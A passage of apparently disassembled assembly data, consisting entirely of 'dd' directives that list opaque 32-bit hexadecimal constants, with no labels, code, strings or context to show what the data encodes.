		dd 0AB08CDC3h, 496FF0E8h, 0CBA4280Eh, 53848648h, 0F2241F10h
		dd 10C40C4Bh, 0EF40A408h, 84D74004h, 60F09D31h,	0D88AF2A5h
		dd 0C90F68Eh, 3E58F835h, 43C0F366h, 66247118h, 859F8F9h
		dd 2817E431h, 98CC384h,	2340FA95h, 0F920F767h, 9391948h
		dd 0D91988BAh, 0D04E14FCh, 8EEA418h, 0FD664CC4h, 33082740h
		dd 0C951A564h, 0D87B0920h, 15840890h, 8C2448C4h, 10124406h
		dd 9CE6432h, 89FC8F96h
		dd 7B00244Ch, 0CED0C408h, 8ED3FE09h, 38454124h,	0E8F1E40Ah
		dd 5A36143Ah, 0E8D620DCh, 0BCC8A914h, 83369052h, 188BC498h
		dd 10B124F0h, 20C49DE4h, 840644A4h, 5366095Dh, 50295231h
		dd 6264A8C0h, 542408BBh, 0CB8A407h, 0BD598A04h,	0CE44E8C6h
		dd 0A4A74011h, 509E0420h, 624494AFh, 1D84F87Eh,	93887C4Dh
		dd 0EA1E223h, 5EE67848h, 0B7332490h, 3F68F85Dh,	0F86E9809h
		dd 66604632h, 0D849B8EEh, 9A03324h, 62488646h, 104488B2h
		dd 7C7FC0B6h, 4F011B8Eh, 1FBDD830h, 0F3499CC4h,	887CE2E0h
		dd 44A421E7h, 7C0491A0h, 0A9802050h, 19709148h,	7F78F53Bh
		dd 0B3040889h, 0D3880495h, 1D3B44A8h, 0E0D137CCh, 3C594C5Dh
		dd 5628A524h, 24AA2C29h, 8711C189h, 0AF8C45Ch, 0DB246904h
		dd 227B9011h, 1E3321C4h, 0F05CEE8Dh, 670869CAh,	50E4E824h
		dd 65FEFCF4h, 1A65F0F3h, 8BEB8C4h, 504878B5h, 5870802h
		dd 405988BEh, 0CB8405A4h, 9B206815h, 0DF59D319h, 0E016C131h
		dd 0C06F3885h, 162256FBh, 813A159Fh, 50F0D8B1h,	49313A38h
		dd 0B7E13013h, 0E4C33427h, 61EE8C48h, 88A756FAh, 0A51E0EE0h
		dd 0E17640B9h, 0E87040D0h, 708B63E5h, 8188A1Bh,	0C011CE56h
		dd 0DE3D724Fh, 0F8042B19h, 9601DB4h, 61D28C10h,	569A002Dh
		dd 52BCB064h, 163FC713h, 0B5B400C6h, 8B41036Ch,	2C1F3123h
		dd 11B35028h, 7911FF0Bh, 23151157h, 145C5194h, 0C3E55308h
		dd 6782CD10h, 0E8022EA9h, 0CBAD00B5h, 427D1A0Ah, 0BD1B4A00h
		dd 17A1760Fh, 697E1C23h, 80AB00EFh, 4FA974Bh, 0FC6F8F00h
		dd 0CDD33A73h, 5BE10030h, 9CF348Ch, 11000B29h, 0FA5084CEh
		dd 54F7A4h, 1BA932F0h, 0A2B213A0h, 7D3EE000h, 8B7FB697h
		dd 0EAEE00DFh, 8C262D3Bh, 670030C1h, 0B263090Ch, 60BEE950h
		dd 5AB51066h, 230419A2h, 0C68F71BCh, 0AC00DC84h, 825A9EEh
		dd 0CE7903A7h, 0CBFAF7D5h, 0B1BE90BFh, 591D5717h, 0AA40392Ah
		dd 61EEB24Dh, 0E17A008Fh, 0D74F7711h, 0EE81FEAh, 0D3483B70h
		dd 0C14A01E9h, 0C7FE1D51h, 0F00CE051h, 0E4EBC0h, 456A698Bh
		dd 6183F4EEh, 1433D403h, 0D04C535Eh, 23BC9Ch, 7B8DFA6Fh
		dd 1C6BC73Ah, 99F46D00h, 7F119453h, 4CD8006Eh, 0CA690FB6h
		dd 9705CD2Dh, 0FD0477D4h, 11F5B000h, 0BE2919h, 0C0C710A1h
		dd 0E8886801h, 0A9734C04h, 2887836Ah, 9FC403E0h, 80695C0Ah
		dd 5E136703h, 6A906EC1h, 53FA77A3h, 86208100h, 0D9A5FBC9h
		dd 74B9004Ch, 0DAD78311h, 0F07A9C3h, 5856573Bh,	9A5E85E0h
		dd 8FF23C87h, 3E8BC50h,	2FAC1D68h, 85D87591h, 0FF802B21h
		dd 0EA3A0089h, 0DADB508Ch, 0AD9015DFh, 0C703C4B0h, 614C6CCAh
		dd 5E4F0D3h, 40B10071h,	8C4BDF2Eh, 0EE1C5680h, 0D1805981h
		dd 9606664Fh, 53600B9h,	7074ADC7h, 6000B386h, 494BFD55h
		dd 0CDAC63h, 0DD1AB4B0h, 3B9BDBD9h, 0C3A05107h,	0C720ADC2h
		dd 2623B65Ch, 6096C86h,	0F2AF633Dh, 0BE0F6B78h,	0AE564D70h
		dd 5E80DC15h, 2231376Ah, 626B0769h, 0E743EED8h,	70E2B0C4h
		dd 0DD1F8C95h, 6141B20Dh, 0FF684FFh, 0E0B38630h, 0E67900F2h
		dd 0E351C68Eh, 700AD26h, 5FD4116Fh, 7A604AE1h, 0FCF3BD7h
		dd 0E08FB600h, 0C6A8E70Bh, 0D5BE1C14h, 0BF4007A0h, 0BB80FB53h
		dd 46E2BD7h, 0AA92C706h, 5FC89077h, 0AF78EB30h,	87BF800h
		dd 0ADB2098Dh, 0CCD90037h, 16DC1275h, 5D00F697h, 0F5242A0h
		dd 24C0FA51h, 80BCB7A2h, 403D1D7Fh, 5338A39Dh, 7AD8929Ch
		dd 4A305803h, 0C137B88Dh, 3F681247h, 0B54C0235h, 0E7C16E5Fh
		dd 92D143CDh, 24FAA9D9h, 0FF0998C4h, 20C9378Dh,	962C84D4h
		dd 0EF410059h, 0FAA118B0h, 0EAFCE6D3h, 0D154001h, 1EF2EC50h
		dd 34A420h, 173A0376h, 0C99608A3h, 14D27D00h, 297D025h
		dd 7B520004h, 0F8D98291h, 5300B659h, 99A59076h,	1F286883h
		dd 15AF093h, 0F29F1873h, 0CBE0D7DEh, 130184A0h,	4B28BC0Dh
		dd 99E4582Fh, 721C091Eh, 61006B18h, 454CD762h, 0A8096F00h
		dd 0C9320627h, 780D7814h, 0CCC0756h, 0D09A4DECh, 0AC923550h
		dd 57427200h, 98B0D117h, 0D075A3h, 63903343h, 0DC699135h
		dd 0B4143100h, 75A12227h, 0FF8A048Ch, 0D0458330h, 67E9D018h
		dd 0DCB01D00h, 4FECE660h, 0B99107A3h, 0D05BAA4Ch, 2F26A01Ch
		dd 8AE52A00h, 981F6C55h, 43933003h, 0CAC85C98h,	0A800A6EEh
		dd 0ED2839E2h, 93D1190h, 8DAF98DFh, 0E672C400h,	9CA0B89Dh
		dd 6A007C71h, 0AE9B0CC9h, 1EB3F04h, 0BDFAABA1h,	8023B1CFh
		dd 19498029h, 124F5D98h, 19F2D8Dh, 0ACA5AAACh, 270E471h
		dd 0BEEA4Ch, 0DC0CDE2Fh, 0D47C4Fh, 3A199F6Eh, 8B609765h
		dd 46E4C600h, 4D77E9BEh, 517912B5h, 7BF008Ah, 0BB8EB70h
		dd 6A071890h, 0C818717Dh, 9421E910h, 0A49009Dh,	0FF3E4F3Ch
		dd 88ECE568h, 0B8DFD00h, 0D1B240DEh, 0EC4600BBh, 0A244D08Fh
		dd 73006B0Ch, 0F3061F91h, 786F38B0h, 0B99803C2h, 0F4316745h
		dd 0E05408C9h, 0E11DF1C9h, 0E8004F39h, 47DF9B43h, 962A0FFEh
		dd 0B9A3CC5Bh, 32BA2FC0h, 0E8ACF460h, 0BF4C3600h, 91E6634h
		dd 4AD0089h, 82060EDAh,	0A107797Eh, 3EC7AE40h, 0FFDC2630h
		dd 25EE0098h, 0B1709AD6h, 6A03BAE0h, 20DF2B1Dh,	10AF9873h
		dd 19D609EEh, 4481ED5Ah, 0E6301BB5h, 0C740B8A1h, 9AD5408Eh
		dd 28004702h, 0DCF0BB2Ch, 3DE26829h, 14009408h,	7A316F24h
		dd 331EBF93h, 0A6C0F0D9h, 9EDDD8B5h, 58E4074Dh,	7561C0ADh
		dd 31D301A1h, 24DFE801h, 8A00D994h, 10A0C28Eh, 0E6C0550h
		dd 0C9DDFADAh, 0CFDC1F81h, 0A20F6088h, 2C005FFEh, 333DEDA9h
		dd 332E0h, 0E695FBECh, 8D3CE4E5h, 65BD8A05h, 70D01DDAh
		dd 0E305ACh, 0BE8878D1h, 7B3D895h, 7A1F7C0Eh, 0A0F5A924h
		dd 40AE4B8Ch, 80D03A0Bh, 189A1600h, 0C0246331h,	0FC14E09Ah
		dd 1CA8EAEh, 0E9118FF7h, 0F4616458h, 0FADB6D30h, 64D64D72h
		dd 374C2A01h, 30DA0F6Fh, 8500A560h, 39F5F99Dh, 511227h
		dd 0C7E443F3h, 5B4D7935h, 5A03D57Dh, 62132D4Fh,	64B8C085h
		dd 0F6542CDEh, 603B00CBh, 0F0A3282Bh, 4B10D960h, 7B855F9Ah
		dd 332501C0h, 7AD268D4h, 107830DCh, 0BFF75801h,	11851CC7h
		dd 0C4602C65h, 4CC904BDh, 814261A3h, 70F8C4DCh,	0ED0F9134h
		dd 602A419Dh, 0FCF04C50h, 9390084h, 97BD6ABFh, 9F180FE8h
		dd 5230FA10h, 0E255073Ah, 47189501h, 7651E0A5h,	363C1F26h
		dd 4DBC022Bh, 4063DAFFh, 509C483h, 3255ED78h, 91F84056h
		dd 28E0A750h, 0DCFA3F00h, 4421C3D1h, 7B21C765h,	0B280D0C4h
		dd 6E00994Eh, 5F855B53h, 0FFE9BA26h, 0C06A20h, 0FA1E8AF7h
		dd 0A0298BE1h, 87588C00h, 7BCF9BBFh, 4BF8ADh, 11A4C224h
		dd 1D90A06h, 0DC505200h, 23AB6A27h, 40A500C5h, 0C05A08EBh
		dd 0C650513Dh, 0EE00EFDCh, 67955990h, 28C4BC81h, 3B02E2Bh
		dd 0FD2643A9h, 41B0289Ch, 0E5121B36h, 0CA003005h, 7602CE27h
		dd 426D00A4h, 0C95D7026h, 9601C443h, 73E5DEEFh,	0A730958Dh
		dd 0D0AC0E66h, 21441615h, 0ABBCD371h, 88980C80h, 112EA805h
		dd 0EF804D22h, 486D5D05h, 22C8F1Eh, 0F360031h, 91577D17h
		dd 0E0293907h, 78134510h, 6EA9E007h, 0B0D803DFh, 8F320AC0h
		dd 803976D9h, 0A808F10Eh, 2A57E9h, 6DDD6B4Fh, 0BC10B2DAh
		dd 0EA578B7h, 13A201CAh, 0D4B99B00h, 0AD0074E6h, 0DDF00BECh
		dd 1D30C8Fh, 0F264C2B2h, 0C03E609Bh, 0B80066DEh, 0BC5A0FDh
		dd 1E08F77Eh, 80598290h
		dd 9221CF75h, 6C016899h, 1B97D6DDh, 74703676h, 9BD9394Bh
		dd 5AED7A8Eh, 0A8D1FD00h, 710035F1h, 0B73387EEh, 60D74FE9h
		dd 0E3FB19DFh, 0DB00CB98h, 0E193C20Eh, 1CD666D0h, 86B08Dh
		dd 92A5FB2Ch, 0F7001D42h, 0F51E56Fh, 39D4C6h, 5B370860h
		dd 88758FFAh, 15CC9A00h, 5536C3FCh, 0B4EB05AEh,	0EAB8D3E9h
		dd 3332C07h, 0C57E27D0h, 0ABAE01A2h, 5B723791h,	8F67E0BBh
		dd 75043DF8h, 137B0176h, 0F0600DC0h, 164D0098h,	1278EB86h
		dd 0DE0063CEh, 3C15279h, 60723324h, 0AAAE18A6h,	4900C464h
		dd 0B4DDE335h, 26706F9Dh, 3B1916h, 0C29C1846h, 0F7A1B2Ch
		dd 29D48C02h, 60B5F4AEh, 0CEF03EDh, 8D3E9691h, 640F6588h
		dd 0A012AF1Bh, 0ED48DF54h, 0EBA7B2Ah, 0F1443D10h, 133EB0E0h
		dd 5F03AE86h, 0E2378E8h, 0FFFCD0C6h, 0DA5D184Dh, 46AE90F1h
		dd 0A312BFA0h, 0D6EBC90Bh, 4B98073Bh, 0E1835BF0h, 0EA3A008Eh
		dd 0FA977898h, 0F100759Ch, 0A9142737h, 7F927E5Eh, 0E5A43BFCh
		dd 0EEF42480h, 2016825Ch, 3F00287Ah, 0ED996F6Ah, 0ED809EBh
		dd 0FDC65238h, 51000EEFh, 0CA1AA8DBh, 2CAA8F00h, 0A4E04622h
		dd 0F050024h, 707E32C0h, 7C7402D8h, 1DA21005h, 0B6C016B2h
		dd 74E4191Ah, 54930098h, 6641BF57h, 0AF72DC10h,	124A900h
		dd 19269630h, 362E16EBh, 0A01C0780h, 0F6CB03Ah,	76002BABh
		dd 60D27A1Eh, 3279BF3h,	6BEC2AAAh, 74E0DFB6h, 0BC008516h
		dd 0A3F3E8C2h, 3CF6DDh,	0E75B5F2Ch, 0E912B2F5h,	80F6D20h
		dd 0AAA824EDh, 80822F89h, 225095C6h, 53F90F4Fh,	949E48C5h
		dd 7907A074h, 0F704F1AEh, 0C77AF46Fh, 0E333A38Ch, 1100DEF3h
		dd 0E811E05Ch, 0FE5B38h, 9D34718Bh, 264B57E6h, 55EA6D01h
		dd 0E748734Ch, 2C8C64h,	2F273E97h, 293806E9h, 0DD669216h
		dd 0BD604Eh, 8DB20877h,	0F51D0B78h, 0CAF0D09h, 594EC320h
		dd 0E9009A30h, 83CC448h, 0C09E624Bh, 319FBD20h,	9600DDD1h
		dd 0DCCCBFDEh, 0EC56B8h, 361C1FA0h, 0A7AE040Eh,	4F6CEB06h
		dd 13842CDh, 0C7359288h, 0C71E58B4h, 209F0E98h,	2B210760h
		dd 31BF7E01h, 0CD10A8A6h, 0EBEA202Eh, 9F04F0Ch,	3BA0196Eh
		dd 0FBA5B650h, 408CF007h, 0FA07039Ch, 22D23524h, 42B8E300h
		dd 2BB94A9h, 0B05D3AAFh, 0B8824B06h, 2DC078EAh,	0C50081FAh
		dd 62176E29h, 3249BDh, 2ECEF953h, 9D0920D6h, 1F470B8h
		dd 98C4DB02h, 0E015E3C0h, 804B9168h, 641F14AFh,	458290ABh
		dd 0A5336173h, 4407F8C0h, 0E3032B4h, 19B95C4h, 42FDD881h
		dd 0C8CFCA85h, 0D27C8C25h, 8BE4BC0Eh, 706A017h,	0B65CFEh
		dd 756C1ADCh, 5055BBE3h, 33EAD103h, 0FDA2E26h, 0AB42E220h
		dd 9C143BA0h, 277F3AA2h, 962C600h, 0F05E1312h, 257D52h
		dd 3F1DD5DDh, 0F69F9B7Dh, 0A163D61Eh, 0AEFBF780h, 39987744h
		dd 60FCB9ADh, 4879182Ah, 8A3B6F9Fh, 0DC73A6E0h,	6340E51Eh
		dd 0CF5CFB22h, 378403ABh, 1053F0C0h, 0E782D590h, 0A0128D05h
		dd 0EC80D92Fh, 0ED73C3Ah, 59DA214Ch, 0A1BC9E41h, 0D424F810h
		dd 939BBB00h, 9CB1734Dh, 489CA085h, 309E04h, 0A5169743h
		dd 0CF00ACA6h, 2317C9FDh, 777090Ch, 47E6D649h, 0C059E8h
		dd 0D00FDCBh, 97D814EEh, 7F2A12ACh, 0D6E00073h,	8F701FD1h
		dd 2C50CD28h, 689A34D0h, 0A56B8D1Fh, 0BFAFBD80h, 51848FBh
		dd 49A6D650h, 0CCDD80C5h, 0A173B301h, 42442704h, 9490DDD8h
		dd 79817C5Dh, 0A4960076h, 73A7CE8Bh, 0ED120EBBh, 0B4007EFEh
		dd 511CF95Ah, 1D440F34h, 312E3A77h, 0B760FAE0h,	0B526B632h
		dd 230F95C8h, 0BB6160D4h, 1FEEA54Ah, 0CCAA76E3h, 894CE5C1h
		dd 274D7A00h, 36D8F88Ch, 99BD098Fh, 0FD800E9Fh,	351F05A8h
		dd 8BB9E200h, 0C6117459h, 143A0091h, 94CC2575h,	0A3139E2Eh
		dd 0D0005AA0h, 8C2B5BEDh, 48B5B08Ah, 35A7781h, 0E83BDD18h
		dd 4ACCC0C8h, 784B6E0Fh, 0FD77C055h, 3852DEh, 56C6050Fh
		dd 57C9E242h, 91CCCB00h, 5BDBD8D0h, 1DAB8D4h, 89F94AA0h
		dd 30BE74CDh, 7B00C18Ch, 0EA8D8E2Ch, 1FF0DC99h,	82E07A59h
		dd 0CD7423F6h, 0E74E3C40h, 3E2DF3Bh, 0DC68493Ch, 0A8EEC088h
		dd 8BF83C6Dh, 32045F00h, 4FBED35Ch, 0FADA40C0h,	0C55262h
		dd 73510849h, 2EF63B70h, 17837E00h, 481DD360h, 342F0092h
		dd 0D18BE1B3h, 0F2034068h, 98FDA8CCh, 0DF39A1ECh, 410B9C6Ch
		dd 86003A8Ah, 0BF1367E9h, 0ECE74D00h, 0AF8E5FAh, 0B6063F5Ah
		dd 1E3A9E03h, 0D080C913h, 46003597h, 6132E527h,	93BB9Bh
		dd 0BAEFEB2Bh, 81EC4BFDh, 2F009C70h, 840DEE4Ah,	763795F0h
		dd 0D88A00C4h, 971AEA5Bh, 0B4006636h, 0AC994B48h, 0B6AA60h
		dd 5E75962Bh, 77F5270Ah, 538A9717h, 1BA4BE00h, 56A882h
		dd 5704E28Eh, 31E53A67h, 0AAF42A00h, 0E4BB6CB9h, 199C00AFh
		dd 559D9647h, 7E038B57h, 0D713E1A7h, 64DFE09Bh,	0B0690287h
		dd 342806E3h, 7F3C00FDh, 0F47115C5h, 0D14D000Dh, 91FD2A1Bh
		dd 39072D0Bh, 4266C82Ch, 0C8715193h, 95B759h, 0BF2592F5h
		dd 0C42A4B5Eh, 4F2F8C00h, 0DC010346h, 0A2C80058h, 0EE11179Dh
		dd 7500ECBDh, 4F8752C2h, 7DF53724h, 7821EACCh, 0A2FC84h
		dd 0C43480CBh, 0D3A155B9h, 3DE12B07h, 0D5506148h, 7879A3h
		dd 565FC27Dh, 37863C4Bh, 0EA4AFD00h, 48184725h,	5170395Ah
		dd 8C667600h, 0B3EE809Ch, 1EAC3E5Fh, 0E0902Eh, 0A657634Ah
		dd 4800ED2Fh, 539D4F52h, 2B8DADh, 8AD71060h, 28F78941h
		dd 85374000h, 76380CD1h, 24190052h, 0B50B580Dh,	0E500F8A2h
		dd 0D38E5EE9h, 8DF545h,	2B19F034h, 0C05385B7h, 124E448h
		dd 0D3224DD5h, 0C8CC4526h, 0D73A03D8h, 8C70195Ch, 77924B0h
		dd 752E5200h, 0C4A87733h, 0CFD00F0h, 65F968A1h,	3E00323Bh
		dd 0FE0B6ED6h, 2F004FCh, 98175DE1h, 4075F125h, 74CA0F0h
		dd 5F40B309h, 0E84EA086h, 0D80EEC1Fh, 5F22C06Eh, 0DD921480h
		dd 0F0F554h, 0F62F9C05h, 0D5B535Dh, 11004473h, 28BF4A61h
		dd 75E881Bh, 0B925602Ah, 0A5208CE2h, 5F4D621Dh,	0C000F51Eh
		dd 0B260FCE8h, 0CCF93D51h, 24F8831Fh, 783E9Bh, 3952C9EDh
		dd 9A912920h, 1CB26700h, 0B7FEDE4Ah, 1D201C4h, 811569E6h
		dd 0ADBC4063h, 68DDA388h, 8CBEFAC0h, 0D2B3ECDFh, 0DBA40150h
		dd 8A422878h, 4CFADE81h, 0BE1A063Eh, 6388D79h, 5D2660D5h
		dd 5B0128A1h, 0DFE93728h, 0D2F4F9A0h, 0BD330049h, 76EF48C2h
		dd 898BB97h, 0DC023Bh, 0A3AFAE9Ch, 3BC6EAC5h, 1806750h
		dd 4D107DBEh, 87268BFDh, 0DF0056D9h, 0D0D1B04Eh, 2F63E15h
		dd 0BFFF0379h, 7E06BE9Bh, 0EC5334D9h, 30F605AFh, 0E0F42200h
		dd 6DC30BEEh, 0D8E807D3h, 0D0C7F6CDh, 0AAA4F02Fh, 0AC09E500h
		dd 466614A2h, 71A300E9h, 0EB05EEC2h, 29177A23h,	6900FC36h
		dd 160FA7A5h, 4C350044h, 2B60612Dh, 3B0324CBh, 7B0EB76Dh
		dd 0BC78F8A2h, 0D1A300DDh, 5B2925ABh, 0CE0B3DD3h, 40194E54h
		dd 2A58EDF6h, 2AC344Ch,	4DEAE2FEh, 47C0D5A6h, 350109CCh
		dd 89076354h, 28835AF4h, 40046A43h, 3EDA67F8h, 0B730503h
		dd 0AF72D91Bh, 88D0E347h, 805BCA82h, 31C38B34h,	7C3387B1h
		dd 204A0008h, 25CD95AAh, 0A401CEF7h, 9F8147F9h,	0E8CC53EAh
		dd 112D000Ah, 0B2FCF45Dh, 667F0FBAh, 0B07DE100h, 3638933Bh
		dd 297560h, 0DFC6D74Eh,	52DACABEh, 940011E2h, 0FB492C48h
		dd 0C3271230h, 97BD6E48h, 65B308E0h, 75008F72h,	26594B60h
		dd 1933D3BCh, 9061C442h
		dd 5471F004h, 380EB674h, 830A93DDh, 0C01CC0AAh,	42FFD7Ah
		dd 0C3EE63FCh, 3C6BC087h, 39001AC2h, 0E1AD51C9h, 19C7835h
		dd 0C32F019Dh, 0FC470682h, 2C064405h, 8CC26C6Eh, 0D40F0039h
		dd 24EC9FA9h, 730778C0h, 0BD57BE5Dh, 0FDB5E650h, 92A3003Eh
		dd 3585A43Ch, 5A00993Ah, 6CF59F0Bh, 185379B8h, 51892083h
		dd 817E8E13h, 6B3E4E00h, 0BF85A2A6h, 0F494003Ah, 0A7742821h
		dd 8300CD6Eh, 0B8ED24F1h, 9B44C88h, 0A4C3C0AEh,	0C66F4F87h
		dd 0E80010DEh, 547D5EA3h, 0FAE1229Fh, 71BA001Fh, 0E98A0BBBh
		dd 78DFBC86h, 0AD3CABC7h, 0EFC0A677h, 0DFB185h,	0C2AFD7C7h
		dd 5376697Bh, 38BCA0CCh, 0FB73013Bh, 0A03A340Dh, 0ACAAC871h
		dd 6E00317Bh, 2EC0F9D7h, 7BFD69C7h, 0CB4338F2h,	0E901F03Fh
		dd 73CF5B9h, 3F788398h,	7CEAD28Ch, 0B14C3C58h, 8E451780h
		dd 89788318h, 0F24504ADh, 0EB041C10h, 419F97B0h, 0E7A8DD42h
		dd 8926CF07h, 194C309Ch, 0EA633096h, 5E1DA221h,	602919C0h
		dd 3CF0ED18h, 740095F8h, 0FDD986E6h, 91139BE2h,	0AA005941h
		dd 0E7537809h, 38E960C9h, 87A46818h, 0FEEA953Ah, 0FAEC0D00h
		dd 0EEB02691h, 12DD0047h, 0EA9449B2h, 0CD0E6397h, 9440D72Dh
		dd 89EB020h, 991886FBh,	74B1A34Fh, 8A40404Eh, 34486F0Bh
		dd 0E9B800E2h, 387744h,	0C160BAF5h, 0A91B5E80h,	2311410Eh
		dd 0EC87C089h, 39AD5FFBh, 7D8218h, 6AFD3D0Eh, 9B3586EAh
		dd 13882750h, 4F9610F9h, 0F779C094h, 9CC8EB23h,	0FA998B0Eh
		dd 0CC0DEFCh, 3D26F249h, 7AD30053h, 891E0A5Eh, 963FFC99h
		dd 9E0198B0h, 3EAE3C40h, 37804542h, 9E30A1Dh, 10006584h
		dd 95B07E3Fh, 0C0DC9BB4h, 0C4455078h, 0DA00262Fh, 0AD29A198h
		dd 16BFF3h, 51D6A2A3h, 3AB76A0Eh, 5510AB0Ah, 105D89Ch
		dd 0FC40E1F7h, 8459B2D6h, 2E99006Ah, 3B569026h,	0B03A60E4h
		dd 0EBA594B9h, 790203D3h, 9B11B4Eh, 8483E439h, 94B42023h
		dd 2719911Dh, 0A4F55BC0h, 3840CA15h, 5C8E6757h,	0D0E0F9B6h
		dd 0B79F2D31h, 4350AFFCh, 0C20AF688h, 0A0EB462Ah, 7EB96980h
		dd 6275FBh, 0D427368Ch,	0B1E52EA2h, 99681F01h, 0F7EBC724h
		dd 40FF8DDCh, 8F45E7E1h, 20CA909Dh, 0A325C700h,	532A3E83h
		dd 73FA0056h, 5DB8D44Ch, 0D301B3C5h, 86DC13F1h,	0FDCD44CAh
		dd 241114E0h, 364F296h,	0EE22E421h, 0F71C590Eh,	0FCC8E0A6h
		dd 252795Ch, 99108F63h,	8442F932h, 445E4004h, 0A7C2553Fh
		dd 0B0C0B056h, 44CB0004h, 0F021A6E9h, 0E0105BCh, 0DB7734E8h
		dd 4980B511h, 0D37F079Fh, 0D9786B2Bh, 0E1352118h, 0A8FEF898h
		dd 7252C4h, 78C9CD24h, 5B8273C8h, 57DD23Bh, 0E3E29CE6h
		dd 68DF80BBh, 981D5FE9h, 617074EAh, 4987E8h, 0D42A1076h
		dd 0D604BF6Ch, 54B4E13Fh, 8E00C3E8h, 0E4399BAEh, 1DD484Bh
		dd 59860FC4h, 0D523CB25h, 200D70AFh, 15106613h,	62BF0840h
		dd 987B7591h, 0BBE1020Ah, 97D46801h, 0E346DC41h, 0EFF0FE8h
		dd 8BEC7009h, 0BFD42177h, 0D980E2FCh, 95E35818h, 0F309AAEFh
		dd 2D9C0Bh, 454E313Eh, 29E060FBh, 24A08610h, 223A21F2h
		dd 0BF0AF21Bh, 98930EA9h, 171DE468h, 0FBEC22h, 2DE354DAh
		dd 0D510690Eh, 0ACA75028h, 3B444h, 2EC10A75h, 0DC725139h
		dd 99546C7Eh, 0B100928Ch, 0F3E0246Ah, 4E5590Eh,	87619AAh
		dd 9B20807Fh, 9104900Ah, 9E1C6A96h, 312E8007h, 0CC420826h
		dd 1531A339h, 0AE96519Ch, 377F1441h, 5F595C4h, 9CE763E9h
		dd 0B7904649h, 0A1163198h, 0EF0FB646h, 1559C1F2h, 0DDE8E1D4h
		dd 0E4C1C3E9h, 0F101EA19h, 45D763BFh, 0D04180AEh, 14528246h
		dd 34403210h, 29C46106h, 0BD5DE019h, 0B664A1E0h, 79005B85h
		dd 92BC521Ch, 0C1EDF28Ch, 0D37BBF29h, 170BC473h, 98E18226h
		dd 45CE118Eh, 0C801E9D6h, 9410E764h, 2B20B816h,	0B49093h
		dd 0F0131E37h, 567CFC5h, 1F779C7h, 9B18E465h, 1229BC39h
		dd 2EA089Ah, 0C7C2A22Ch, 15219C48h, 0C8E949h, 0CD9AE24Eh
		dd 20603F3h, 442C8B98h,	2FD03524h, 0C078FD48h, 4A2A3F12h
		dd 2E1A0014h, 0FC4CD38Ch, 28001F85h, 0E101130Ah, 911B0F16h
		dd 9F8480A8h, 1458E4B0h, 0F1FD8230h, 6213A33Dh,	7EEF9102h
		dd 0E76DF1E0h, 3958527Eh, 5A8908A0h, 58961FF9h,	4874D9BDh
		dd 0FCE5F8A8h, 56C95F00h, 750FE3EDh, 7E1612FAh,	0D0A86089h
		dd 48FBA746h, 0F9C7BED4h, 0E780D2D8h, 0F6EF4Ah,	803998Ah
		dd 4D8F5029h, 1101F37Bh, 9889B1A5h, 1023D42Ch, 0DC96B400h
		dd 8DA03519h, 8ABEEB00h, 9A38E854h, 0A930004Eh,	0AC9E6C46h
		dd 1B00F671h, 1D6E8915h, 0FD35135h, 1E733297h, 0EFE22603h
		dd 0C739487Ch, 8E6A00ACh, 475E136Dh, 0A41B007Bh, 0AE9E90ABh
		dd 0BF009DFBh, 31BBF792h, 3E783337h, 5F80894Dh,	0D7FF9468h
		dd 0E701C6BAh, 0E2CD3B15h, 70823712h, 0A667AA19h, 0EAB09280h
		dd 0E0321D72h, 423478D2h, 0FC064022h, 0AC770066h, 7E848823h
		dd 0B707100Dh, 0A66FE59Fh, 0BF2D39B0h, 3550C24Dh, 68806486h
		dd 8CA73C72h, 36E88D08h, 9B0EBE48h, 0E7A03E58h,	1632B4E9h
		dd 31CD620Fh, 0EA360541h, 500E5043h, 42E09EA3h,	0CBE67ABBh
		dd 0EC42D50Eh, 48595893h, 38346088h, 0ED0A9CE5h, 32872E00h
		dd 4A1E7003h, 3198C320h, 89002A48h, 3B4FF58Fh, 9A4616h
		dd 0D865D00Ah, 85A2BBCBh, 291E6330h, 9724C0h, 0D21B6987h
		dd 853D5A65h, 155FE405h, 6C0047E7h, 4FD108C1h, 8E7000EAh
		dd 6C164AFDh, 0A770E5ECh, 8B1D2100h, 3B191FA1h,	0ACAB0031h
		dd 10867C78h, 0C932A26h, 81C41E14h, 0D6D1525Fh,	873C0h
		dd 0E818A850h, 9563176Ch, 0EB0CE518h, 2A2D3381h, 28C41262h
		dd 2C0BE03h, 0F00B32A0h, 7420F6EBh, 4FD0DDh, 990229C9h
		dd 8D79574Dh, 40B49F00h, 33C53722h, 484690A7h, 0EAC52CBEh
		dd 0DCC2005h, 84A66611h, 27096BF0h, 8FB202A4h, 0EC29981Ah
		dd 822490Ah, 28801F2Bh,	792A4414h, 0A8051B03h, 50EBE5h
		dd 58859A38h, 610B66BAh, 205FC100h, 84CA9007h, 18734937h
		dd 47113380h, 0DD3FE62Eh, 0E2D90006h, 91660B4Ah, 0E4E005DBh
		dd 404EBB2Ch, 9EA5388Ch, 0B4A08CFFh, 760614A7h,	2305E4F3h
		dd 733328A9h, 0CC4D01DCh, 1EA3FFDh, 1ED18C2Dh, 6749DDh
		dd 0B814DC7h, 0DEB4FF60h, 7D1AF35Ch, 3887D000h,	8B1C832Ah
		dd 0BCEF4825h, 0C054E83Fh, 17E7844h, 0BAE72B13h, 0E0295EC5h
		dd 5CA0DA39h, 8402FA2Eh, 8C1E79E4h, 29CC00D2h, 8B007DD4h
		dd 7E61A9C4h, 14A06ACEh, 0B4731F01h, 6004ED24h,	10C49454h
		dd 0A4720E15h, 31037B78h, 5763A89Bh, 0EB1588D6h, 9D39C0E4h
		dd 0DAE9D812h, 0F9E6B509h, 0C4E022AEh, 1FB4853Ah, 80E85822h
		dd 0E32DD71Ch, 0A0ED3C46h, 78320772h, 0A3E697B6h, 29A605E5h
		dd 58129EF0h, 2C452B55h, 0E04A2154h, 0D840FCFBh, 9057D6h
		dd 978D23Fh, 15BF4CB5h,	1BC0EC00h, 28CD7B73h, 289886h
		dd 9EB67E31h, 2AF0FE7Ah, 0DDCEA00h, 6749A72h, 2C680A9Fh
		dd 92D84963h, 0C840103Dh, 0D57631C1h, 35EC531Eh, 84DE5ED0h
		dd 30919B77h, 8F235941h, 0CB0BC450h, 8D5B00D0h,	384CA562h
		dd 0B600D320h, 81F2A011h, 247C5C9Fh, 344E716h, 0E660A0Dh
		dd 0FAE806D5h, 0C507E9E1h, 4ECD721Bh, 0C6855AE1h, 7CF517D5h
		dd 7E357050h, 7989601Dh, 55F16CBDh, 513BDA00h, 0A6FB37E1h
		dd 0E651FEEh, 9F72410Ch, 0C0B2060Dh, 6F05CE66h,	93E4D5F2h
		dd 4D482488h, 6207908Fh
		dd 0F0333244h, 7447A3D2h, 0DA266B00h, 0F7301CCBh, 0E0D011Bh
